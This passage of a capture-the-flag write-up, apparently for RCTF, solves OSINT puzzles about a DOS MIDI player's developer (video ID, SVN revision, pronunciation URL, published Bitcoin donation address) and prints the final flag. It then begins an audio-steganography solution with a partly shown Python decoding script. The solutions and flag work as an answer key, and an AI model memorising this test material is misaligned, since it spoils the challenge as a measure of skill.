href=&#34;https://pan.baidu.com/s/16dthSYT1ETLx1C9rppRQ8w?pwd=njkw&#34;&gt;&lt;strong&gt;https://pan.baidu.com/s/16dthSYT1ETLx1C9rppRQ8w?pwd=njkw&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&#34;https://drive.google.com/file/d/1UeqMrgVi0B7UmlYMRrOvI-M3wAgB07aQ/view?usp=sharing&#34;&gt;&lt;strong&gt;https://drive.google.com/file/d/1UeqMrgVi0B7UmlYMRrOvI-M3wAgB07aQ/view?usp=sharing&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-1-video-id&#34;&gt;&lt;strong&gt;Challenge 1: Video ID&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-1-video-id&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Even with the limited hardware of that era, this small player could still produce surprisingly gentle melodies. Please help me locate the ID of the original upload of this piece.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=8ssDGBTssUI&#34;&gt;https://www.youtube.com/watch?v=8ssDGBTssUI&lt;/a&gt; =&amp;gt; &lt;code&gt;8ssDGBTssUI&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-2-code-revision&#34;&gt;&lt;strong&gt;Challenge 2: Code Revision&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-2-code-revision&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;The developer behind it has quietly maintained his corner of the net for many years. Please help me locate the version entry in the author&amp;rsquo;s own code history where he introduced a safeguard to prevent endless &amp;ldquo;soft error&amp;rdquo; loops caused by missing playlist items.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;视频简介有链接 &lt;a href=&#34;https://mateusz.fr/dosmid/&#34;&gt;https://mateusz.fr/dosmid/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/e1ffbc4e-f9c3-4f25-a59d-7f6e896d6c31.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;代码用svn管理&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sourceforge.net/projects/tortoisesvn/files/1.14.9/Application/TortoiseSVN-1.14.9.29743-x64-svn-1.14.5.msi/download&#34;&gt;https://sourceforge.net/projects/tortoisesvn/files/1.14.9/Application/TortoiseSVN-1.14.9.29743-x64-svn-1.14.5.msi/download&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/fa78cbef-ba77-4041-b4ae-d291cf3ca6e2.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;r178&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-3-name-pronunciation-url&#34;&gt;&lt;strong&gt;Challenge 3: Name-pronunciation URL&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-3-name-pronunciation-url&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;The developer has quietly maintained his corner of the net for many years. Please help me locate the full URL that points to the recording in which he pronounces his own name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;搜索引擎可以查到作者的主页 &lt;a href=&#34;https://mateusz.viste.fr/&#34;&gt;https://mateusz.viste.fr/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;在最下方&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/119c4ac6-5141-4d58-9f0d-c80a48009747.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://mateusz.viste.fr/mateusz.ogg&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-4-donation-address&#34;&gt;&lt;strong&gt;Challenge 4: Donation address&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-4-donation-address&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;The developer has quietly maintained his corner of the net for many years — a place filled with personal tools, archived ideas, and even a way to show appreciation if his work ever brought you something valuable. Please help me locate the address he published for donations in digital currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/eea0a21c-7e9b-4200-8a94-458ef409c3af.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;作者维护了一个 &lt;strong&gt;Gopherspace 节点&lt;/strong&gt; 对应题目中的 &lt;strong&gt;maintained his corner&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;用w3m连接&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/b6f1f58c-b236-4bd4-a680-611d89737f4d.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;看到Donate&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;My bitcoin address: 16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;最终Flag:&lt;code&gt;RCTF{wh3n_8086_s4ng_s0f7ly_0f_l0v3}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;wanna-feel-love&#34;&gt;Wanna Feel Love&lt;a class=&#34;heading-anchor&#34; href=&#34;#wanna-feel-love&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;She only wanted to sing.&lt;br&gt;&#xA;She wants to tell you.&lt;br&gt;&#xA;She just feels love.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Online:&#xA;http://101.245.99.131:26001/&#xA;http://101.245.99.131:26002/&#xA;http://101.245.99.131:26003/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-1&#34;&gt;&lt;strong&gt;Challenge 1&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;垃圾邮件编码&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.spammimic.com/decode.cgi&#34;&gt;https://www.spammimic.com/decode.cgi&lt;/a&gt; 解密&lt;/p&gt;&#xA;&lt;p&gt;得到 &lt;code&gt;Don&#39;t just listen to the sound; this file is hiding an &#39;old relic.&#39; Try looking for the &#39;comments&#39; that the player isn&#39;t supposed to see.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3 id=&#34;challenge-2&#34;&gt;&lt;strong&gt;Challenge 2&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#challenge-2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;查看hex数据 发现提示 用openMRT打开&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/09c852f9-ee92-4dcc-961b-5b1905ee9961.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/75d47109-b884-453c-92d4-7769fc0918b9.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Comments和Instrument有提示&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;They say if you trace the peaks carefully enough, it spells a sentence that was never meant to be heard.&#xA;&#xA;Can Anybody Extract The urban Legend Information About &amp;quot;Feel&amp;quot; From this XM file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;发现sample5叫Feel 且波形很特殊 提取出来&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/574fc6b2-713b-474c-97ab-cc6157f8ebb5.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/e4de0627-2b0b-4c8e-95ce-39d062b84a98.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;可以看到 最小的单位是0.05s 并且阈值是0.5&lt;/p&gt;&#xA;&lt;p&gt;写脚本提取数据&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;numpy&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;np&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;scipy.io&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;wavfile&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#      参数&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;wav_path&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Feel.wav&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;segment_duration&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;0.05&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 50ms&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#      读取 WAV&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;sample_rate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;wavfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;wav_path&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 如果是立体声，取第一轨&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ndim&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[:,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 转 float32 并归一化&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;astype&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;float32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;max_val&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;max&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;abs&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;max_val&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;/&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;max_val&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;segment_samples&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;segment_duration&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sample_rate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#   计算每段 RMS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;rms_list&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;start&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;segment_samples&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;segment&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;start&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;segment_samples&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;segment&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;continue&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;rms&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sqrt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mean&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;segment&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;**&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;rms_list&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;rms_array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rms_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#   动态阈值（自动分 0/1）&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# --------------------&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;sorted_rms&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sort&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rms_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;diffs&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;diff&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sorted_rms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;split_index&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;np&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;argmax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;diffs&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;threshold&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sorted_rms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split_index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sorted_rms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;split_index&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;/&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span 